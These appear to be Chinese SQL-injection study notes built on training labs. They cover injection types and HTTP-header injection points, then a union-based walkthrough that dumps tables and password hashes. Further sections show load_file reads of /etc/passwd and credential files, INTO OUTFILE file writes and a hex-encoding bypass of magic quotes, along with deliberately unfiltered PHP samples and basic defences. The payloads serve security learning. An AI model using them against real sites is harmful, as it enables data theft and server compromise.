思维导图
SQL注入
原理:
SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。
注入条件:
可控变量,参数会带入数据库查询,变量未存在过滤或者过滤不严谨
例子
$id=$_GET['id']; //可控变量且不做过滤
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n")
fclose($fp);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql); //代入数据据库执行
$row = mysql_fetch_array($result);
对PHP代码进行分析,可以看到$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
直接传递的变量$id带入sql语句中执行没有做任何的限制,这为恶意代码插入执行创造了条件。通过修改带入的代码执行的语句最终达到SQL注入获取敏感信息(同样给防御提供了思路:对参数进行一个过滤,做限制)
不同类型的注入
数字类型
对应的sql语句示例:
$id = x
select from <表名> where id = $id ;
转换后:select from <表名> where id = x ;
测试语句:
1 and 1=1 #返回正确
1 and 1=2 #返回失败
失败原因:SQL语句在进行查询时,and连接两个逻辑值,而1=2的逻辑值判断为错,因此页面会返回错误
字符型
对应sql语句示例:
$id = 'x'
select from <表名> where id = $id ;
转换一下就是 select from <表名> where id ='x' ;
因此当使用id = 1 and 1 = 1的时候,这里的 id 值被单引号包裹起来 ,所以就不再存在逻辑判断了
测试语句:注入的时候需要用添加单引号等符号将引号闭合并注意考虑注释 (--+或者#)
常见sql语句干扰符号: ',",%,),}等(即单引号、双引号、百分号、小括号、花括号)
?id=1' and 1=1 --+ 返回正确
?id=1' and 1=2 --+ 返回错误
通过将’闭合的方式从而实现后续的逻辑判断
JSON型注入
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。json注入只是按照json的格式进行注入,其他的和普通的SQL注入没什么区别
例如:下面的这段php
<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT username,paawd FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['paawd']}";
}
$result->free();
$mysqli->close();
}
?>
对应注入测试语句
json={"username":"admin' and 1 =1#"}
搜索型注入
部分网站对用户提供了搜索功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在。其中又分为POST/GET
,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get"
属性来区分是get还是post。搜索型注入又称为文本框注入。
一般组合的sql语句如下
$sql = "select * from user where password like '%$pwd%' order by password";
用like进行模糊匹配,%为通配符,代表任意数量的字符,结果按照password列的值进行排序,默认为升序
例如:当用户输入
ryan'and 1=1 and '%'='
此时的sql语句就变成了注入
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";
注入判断
搜索 keywords' ,如果出错的话,有90%的可能性存在注入
搜索 keywords%' and 1=1 and '%'=' (相当于SQL注入的 and 1=1 )看返回情况;
搜索 keywords%' and 1=2 and '%'=' (相当于SQL注入的 and 1=2 )看返回情况;
下面的也可以
'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='
(补充)MYSQL模糊匹配
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的
GET注入
也就是按照GET请求方法传参,在网址栏的接收参数后面直接进行注入
常出现在与数据库交互的地方,比如登录框,搜索框、URL地址栏、登陆界面、留言板等等
POST注入
按照POST的请求方法传参,使用工具抓包或者Hackbar比较方便,本质上与GET注入没什么区别
常见注入判断: uname=admin' or 1=1#&passwd=12312 万能密码,判断是否为注入点
HTTP头部注入
通过修改HTTP请求头中的字段来注入恶意代码,从而获取敏感信息或执行未授权的操作。常见的HTTP头部注入类型包括Cookie注入、User-Agent注入、Referer注入和XFF注入
Cookie注入
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站
cookie注入与传统注入一样,只是注入位置和注入形式不同,可以用ModHeader、cookie editor比较方便操作,在bp抓包也是可以的
补充 $_REQUEST
REQUEST请求是全部接收,POST、GET和COOKIE的数据全部接收;
我们不清楚对方的接收方式,如果使用request请求,就不用管是什么请求方法了,因为request全部接收;
补充 $_SERVER[’ ‘]
是php的全局变量,用来获取系统的一些值,一些信息;
$_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。__FILE__ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。 |
$_SERVER[‘GATEWAY_INTERFACE’] | 服务器使用的 CGI 规范的版本;例如,”CGI/1.1″。 |
$_SERVER[‘SERVER_ADDR’] | 当前运行脚本所在的服务器的 IP 地址。 |
$_SERVER[‘SERVER_NAME’] | 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。(如: www.runoob.com) |
$_SERVER[‘SERVER_SOFTWARE’] | 服务器标识字符串,在响应请求时的头信息中给出。 (如:Apache/2.2.24) |
$_SERVER[‘SERVER_PROTOCOL’] | 请求页面时通信协议的名称和版本。例如,”HTTP/1.0″。 |
$_SERVER[‘REQUEST_METHOD’] | 访问页面使用的请求方法;例如,”GET”, “HEAD”,”POST”,”PUT”。 |
$_SERVER[‘REQUEST_TIME’] | 请求开始时的时间戳。从 PHP 5.1.0 起可用。 (如:1377687496) |
$_SERVER[‘QUERY_STRING’] | query string(查询字符串),如果有的话,通过它进行页面访问。 |
$_SERVER[‘HTTP_ACCEPT’] | 当前请求头中 Accept: 项的内容,如果存在的话。 |
$_SERVER[‘HTTP_ACCEPT_CHARSET’] | 当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:”iso-8859-1,*,utf-8″。 |
$_SERVER[‘HTTP_HOST’] | 当前请求头中 Host: 项的内容,如果存在的话。 |
$_SERVER[‘HTTP_REFERER’] | 引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。) |
$_SERVER[‘HTTPS’] | 如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。 |
$_SERVER[‘REMOTE_ADDR’] | 浏览当前页面的用户的 IP 地址。 |
$_SERVER[‘REMOTE_HOST’] | 浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。 |
$_SERVER[‘REMOTE_PORT’] | 用户机器上连接到 Web 服务器所使用的端口号。 |
$_SERVER[‘SCRIPT_FILENAME’] | 当前执行脚本的绝对路径。 |
$_SERVER[‘SERVER_ADMIN’] | 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。(如:someone@runoob.com) |
$_SERVER[‘SERVER_PORT’] | Web 服务器使用的端口。默认值为 “80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。 |
$_SERVER[‘SERVER_SIGNATURE’] | 包含了服务器版本和虚拟主机名的字符串。 |
$_SERVER[‘PATH_TRANSLATED’] | 当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 |
$_SERVER[‘SCRIPT_NAME’] | 包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 常量包含当前脚本(例如包含文件)的完整路径和文件名。 |
$_SERVER[‘SCRIPT_URI’] | URI 用来指定要访问的页面。例如 “/index.html”。 |
UA注入
UA就是User-Agent的缩写,名为用户代理,Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
例如对SQLi-labs第18关抓包,抓包内容如下:
<br>Your IP ADDRESS is: 192.168.43.1<br>
<font color= "#FFFF00" font size = 3 ></font>
<font color= "#0000ff" font size = 3 >
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0</font>
最终注入语句
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101
Firefox/118.0' and updatexml(1,concat(0x7e,user()),1),'
Referer注入
步骤跟上面的注入差不多,只是这次注入点在Refer
例如:Referer:id=-1 union select 1,group_concat(user) from sqli.user
XFF注入
注入点在X-Forwarded-For
例如:X-Forward-For:127.0.0.1' select 1,2,user()#
MYSQL注入
思维导图
靶场安装:
忍者系统安装:https://blog.csdn.net/qq_35258210/article/details/115457883
Sqlilabs搭建:如何搭建 SQLi-Labs 靶场保姆级教程(附链接)_sqlilabs靶场搭建-CSDN博客
MYSQL注入
注:其中信息收集的其他(网站路径)主要是了解网站所对应的存储,方便后面的文件读取等
SQL注入文件工具:见博客工具集
判断是否存在注入点
知识点:数据库中存在逻辑值的真假判断,通过与或非三者的真假判断来进行注入点是否存在的判断
1、逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点
2、参数后随机输入:如:在xiaoyang1227.com/index.php?id=1的后面随机加入其他字符
例:xiaoyang1227.com/index.php?id=1西瓜uhdwjg 如页面返回正常,则不存在注入,但如果页面异常,说明数据库存在该类判断,并且找不到对应的返回值
注意:这列情况不属于404或者重新跳转
信息收集
知识点:mysql数据库中存在特定的函数进行信息收集
数据库版本:version()
数据库名字:database()
操作系统:@@version_compile_os
数据库用户:user()
补充MySQL常用内置函数整理:https://www.cnblogs.com/liujiacai/p/15417537.html
注意:在mysql 5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库,相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。而低版本(5.0以下的版本多采用暴力字典破解进行注入、文件读取写入等)
注入流程:数据库->表->列->数据
其他知识
数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。若xiaodi.user.id则代表user表下的列名。
information_schema.tables #information_schema下面的所有表名都记录在这表
information_schema.columns #information_schema下面所有的列名都记录在这表
table_name #表名
column_name #列名
table_schema #数据库名
参数id=-1 (负数)是为了让回显的结果为空执行后面union的字句。因为这里的id=$id,是变量可以修改,如果给定了一个值,就不可以去执行,没办法进行操作;
如在引入部分的代码,如果将id不作为变量,而是直接赋值,就无法进行SQL注入
通常和联合注入一起使用(uinon),然后根据回显的位置,在产生回显的位置进行相应的信息查询
information_schema数据库表:INFORMATION SCHEMA详解 – 蔚蓝的海洋 – 博客园
MYSQL_Union注入演示
演示靶场:SQL手工注入漏洞测试(MySQL数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养
完整WP:墨者靶场SQL手工注入漏洞测试(MySQL数据库)通关思路-CSDN博客
主要逻辑:
?id=1 order by 数字 ----推断字段个数(结果为4)
?id=-1 union select 1,2,3,4 (这里的数字根据上述过程来) ----推断显位位置(显位位置为2,3)
?id=-1 union select 1,database(),version(),4 ----判断数据库名字和版本
(数据库名:mozhe_Discuz_StormGroup,版本:5.7.22)版本大于5,存在information_schema数据库
?id=-1 union select 1,user(),@@version_compile_os,4 ----判断数据库用户名和操作系统(用户名为root,操作系统为linux)
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup' -----查询information_schema.tables表中的数据库名为mozhe_Discuz_StormGroup的所有表信息,即查询mozhe_Discuz_StormGroup数据库中的所有表信息
(结果为StormGroup_member、notice两个表) 这里的group_concat是将所有数据库名字为mozhe_Discuz_StormGroup的表名信息列出
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = 'mozhe_Discuz_StormGroup' -----查询information_schema.tables表中的数据库名为mozhe_Discuz_StormGroup的所有列信息,即查询mozhe_Discuz_StormGroup数据库中的所有列信息
(结果为id,name,password,status,id,title,content,time)
到这便知道数据库为mozhe_Discuz_StormGroup ,其中表两个StormGroup_member、notice,而
?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
----查询mozhe_Discuz_StormGroup数据下的StormGroup_member表中的所有name和password的值
然后解密md5即可
或者
依次查询
?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
或者
?id=-1 union select 1,concat(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
?id=-1 union select 1,concat(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
补充:GROUP_CONCAT函数是MySQL中的一个聚合函数,它用于将多个行的列值连接为一个字符串。这个函数在处理类似报表生成这样的场景时特别有用,因为它可以将分组的数据合并为单个字段显示,从而提高了数据的可视性和查询效率。
基本用法:
GROUP_CONCAT([DISTINCT] column_name [,column_name ...]
[ORDER BY {unsigned_integer | col_name | expr}
[ASC | DESC] [SEPARATOR 'separator_string']])
DISTINCT是可选参数,用于去除重复值;
column_name是要连接的列名,可以是多个;
ORDER BY是可选参数,用于指定结果排序的方式;
SEPARATOR是可选参数,用于指定分隔符,默认为逗号
例:从“orders”表中选择不重复的产品名称,并使用默认的逗号作为分隔符将其拼接成一个字符串:
SELECT GROUP_CONCAT(DISTINCT product) FROM orders;
补充:limit用法
select <列名>,<列名>,...from <表名> limit <参数值>;
select * from product limit 3;
+------------+--------------+--------------+------------+----------------+-------------+
| product_id | product_name | product_type | sale_price | purchase_price | regist_date |
+------------+--------------+--------------+------------+----------------+-------------+
| 0001 | T恤衫 | 衣服 | 1000 | 500 | 2009-09-20 |
| 0002 | 打孔器 | 办公用品 | 500 | 320 | 2009-09-11 |
| 0003 | 运动T恤 | 衣服 | 4000 | 2800 | NULL |
+------------+--------------+--------------+------------+----------------+-------------+
上面的SQL语句,limit只有一个参数值,将表中的前三条数据查询出来
select <列名>,<列名>,...from <表名> limit <参数值>,<参数值>;
select * from product limit 3,2;
+------------+--------------+--------------+------------+----------------+-------------+
| product_id | product_name | product_type | sale_price | purchase_price | regist_date |
+------------+--------------+--------------+------------+----------------+-------------+
| 0004 | 菜刀 | 厨房用具 | 3000 | 2800 | 2009-09-20 |
| 0005 | 高压锅 | 厨房用具 | 6800 | 5000 | 2009-01-15 |
+------------+--------------+--------------+------------+----------------+-------------+
上面的SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。
高权限跨库注入
前面提到函数user() –可以通过返回值判断数据库的当前用户,若为root,则一般是最高权限,
举个例子:
网站A-数据库A-数据库用户A
网站B-数据库B-数据库用户B
网站C-数据库C-数据库用户C
这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库。
但是这三个网站的数据库都建立在MYSQL下,普通用户不允许互相访问,但如果A是root用户,那么一般他就具有越库访问的权限,就能跨库操作B、C网站的数据
渗透思路:如果B网站安全,但是A是危险的,且A是root用户,那么可能会越权访问B,造成安全漏洞
文件读写
这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不同。且特别注意secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
MySQL内置函数:
load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数,,也叫文件写入函数
查询是否有写入的权限
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
文件读取例子:在sqli-labs实验
在网站上面读取内容:?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3
读取数据库的配置信息
?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3
内容太多,页面无法回显,右击查看源代码
文件写入例子:
mysql> select '<?php phpinfo() ?>' into outfile './php';
mysql>root@06026a1599f9:/# cat /var/lib/mysql/php
结果如下:<?php phpinfo() ?>
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/php';
ERROR 1 (HY000): Can't create/write to file '/var/www/php' (Errcode: 13)
在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。
可以在本地使用chmod命令修改文件权限再进行测试
网页写入,写入后,在本地对应路径下会出现对应的修改
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
- 报错显示:某些网站出现错误时,会显示路径;
- 遗留文件:类似于phpinfo()文件,方便调试信息遗留的文件,命名一般为phpinfo()的;可用工具扫描;
- 漏洞报错:知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
- 平台位置文件:搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
- 爆破:实在获取不到路径,可采用常规思路爆破网站常规路径
魔术引号开关
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
目的是为了正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
例如:
假设有一个数据库user,我们要传一个参数查询某个用户的信息,我们会调用某个接口,传一个参数给接口,类似于http://域名/?c=xxx&a=xxx&user=xxx,现在我们想查询一个叫codeman的人的信息,那么user=codeman,后台接收到参数之后,执行类似于下面的SQL语句。
SELECT * FROM `user` WHERE `user` = 'codeman';
如果在接收数据时后台不进行转义,那么就可能让恶意的SQL注入攻击发生,假设我们现在传递一个user=codeman’or’1’=’1,传到后台执行的SQL语句变成
SELECT * FROM `user` WHERE `user` = 'codeman' or '1' or '1';
补充:为什么在PHP5.4.0及其之后PHP版本中被取消了呢?
(1)可移植性:编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。
(2)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。
(3)方便:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 '。针对这个问题,可以使用 stripslashes() 函数处理。
phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关
示例:
原本注入代码:?id=-1 union select 1,‘x’,3 into outfile (‘C:\\phpStudy\\PHPTuorial\\WWW\\sqli-labs-master\\x.php’)–-+
--+:代表注释后面的内容。这里不一定是文件写入,只是一个例子罢了。
\\:在采用这种\的做文件路径的时候,注意加上转义字符\
(要么就采用/这种斜杠,就不需要转义)
魔术引导开启后,数据库接收到的sql语句:
?id=-1 union select 1,‘x’,3 into outfile (\‘C:\\\phpStudy\\\PHPTuorial\\\WWW\\\sqli-labs-master\\\x.php\’)–-+
那么这样在执行就会出现报错,因为数据库无法识别,从而实现防御手段
绕过方式:
可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;
例如采用16进制编码写入文件的内容:
C:\\phpStudy\\PHPTuorial\\WWW\\sqli-labs-master\\x.php
0x433A5C5C70687053747564795C5C50485054756F7269616C5C5C5757575C5C73716C692D6C6162732D6D61737465725C5C782E706870
于是现在的SQL语句就是:?id=-1 union select 1,‘x’,3 into outfile(0x433A5C5C70687053747564795C5C50485054756F7269616C5C5C5757575C5C73716C692D6C6162732D6D61737465725C5C782E706870)
而数据库是有16进制解码的,所有就避免了因文件路径而产生的斜杠、单引号等问题,从而绕过魔术引导
相关防注入方法
1.魔术引导及常见防护
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,从而不会被执行
2.采用内置函数进行防护
addslashes()函数也是和魔术引导一样效果
is_int()函数判断变量,这种拦截基本是看到就能放弃注入的,但是会很影响业务
还有更多内置函数也可以进行防护;
正常情况遇到的不多;
例如:
if(is_int($id)){
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
}else{
echo 'ni shi ge jj?';
}
3.自定义关键字:select
$ id=str_replace(‘select’,‘fuck’,$id)
将select转换成fuck;
绕过方法:对过滤关键字进行大小写,hex编码,叠写,等价函数替换等等
4.WAF防护软件:安全狗,宝塔等;
参数提交
但是post参数提交会读取get的值
按照get参数提交不会读取post的值
简要明确参数类型
数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:’,”,%,),}等,具体需看写法
简要明确请求方法
GET、POST、COOKIE、REQUEST、HTTP头($_SERVER[’ ‘])等;
不同的请求方式,请求的数据类型、大小都不一样;
这个网站请求方法出现漏洞,要按照请求方法上,去测试注入;